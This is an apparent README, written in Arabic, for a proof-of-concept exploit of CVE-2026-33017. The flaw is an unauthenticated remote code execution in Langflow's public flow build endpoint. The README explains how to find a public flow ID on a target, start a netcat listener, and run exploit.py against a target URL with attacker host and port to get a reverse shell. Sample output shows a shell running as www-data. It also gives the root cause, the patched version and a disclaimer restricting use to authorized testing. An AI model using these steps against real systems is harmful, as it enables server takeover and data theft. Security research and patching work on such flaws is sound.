
إثبات مفهوم للاستغلال (PoC) لـ CVE-2026-33017: تنفيذ رمز عن بعد غير مصادق عليه في Langflow من خلال حقن مكون مخصص خبيث بلغة Python، مع مستمع شل عكسي مدمج.
المؤلف: dynamo2k1
الشدة: حرجة
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017 هي ثغرة حرجة لتنفيذ الأوامر عن بُعد غير المصادق عليه في Langflow، وهي منصة مفتوحة المصدر لبناء تطبيقات LLM وسير عمل الذكاء الاصطناعي بصريًا.
يقبل نقطة النهاية الضعيفة build_public_tmp حقل بيانات data يقدمه المهاجم في جسم الطلب دون مصادقة. يتيح ذلك للمهاجم حقن تعريف تدفق مخصص بالكامل يحتوي على مكون مخصص خبيث بلغة Python، يتم تنفيذ كوده على الخادم أثناء عملية البناء.
لا حاجة لبيانات اعتماد. فقط UUID تدفق عام صالح مطلوب.
| الحالة | الإصدار |
|---|
| ضعيف | Langflow < 1.9.0 |
| مصحح | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
صُممت نقطة النهاية هذه لبناء التدفقات العامة (المشاركة) دون مصادقة. في الإصدارات الضعيفة، تقبل أيضًا حقل بيانات data يتحكم به المهاجم في جسم الطلب، والذي يُمرر مباشرة إلى منطق البناء من جانب الخادم — بما في ذلك أي كود Python مضمن في المكونات المخصصة.
pip install requests urllib3
تصفح مثيل Langflow المستهدف وابحث عن تدفق مشترك/عام. يظهر UUID في الرابط:
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
هذا هو معرف التدفق
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
أو استخدم المستمع التفاعلي المدمج (بدون حاجة لـ nc منفصل):
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
| العلم | الوصف |
|---|---|
--url | رابط قاعدة Langflow الهدف |
--flow-id | UUID التدفق العام |
--lhost | عنوان IP الخاص بك لاستقبال اتصال الصدفة العكسية |
--lport | منفذ المستمع الخاص بك |
--listen | استخدام معالج الصدفة المدمج بدلاً من nc الخارجي |
--timeout | مهلة طلب HTTP بالثواني (الافتراضي: 30) |
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
السبب الجذري: وثقت build_public_tmp في حقل data من جسم الطلب بدلاً من استخدام تعريف التدفق المخزن على الخادم فقط.
التصحيح: في Langflow 1.9.0، تمت إزالة معامل data من build_public_tmp. لم يعد من الممكن حقن تعريفات التدفق الخارجية من خلال هذه النقطة الطرفية.
تأكيد التصحيح: 73b6612
تم تقديم هذا الإثبات العملي (PoC) لأغراض تعليمية وبحث أمني مصرح به فقط. يُستخدم فقط ضد الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها.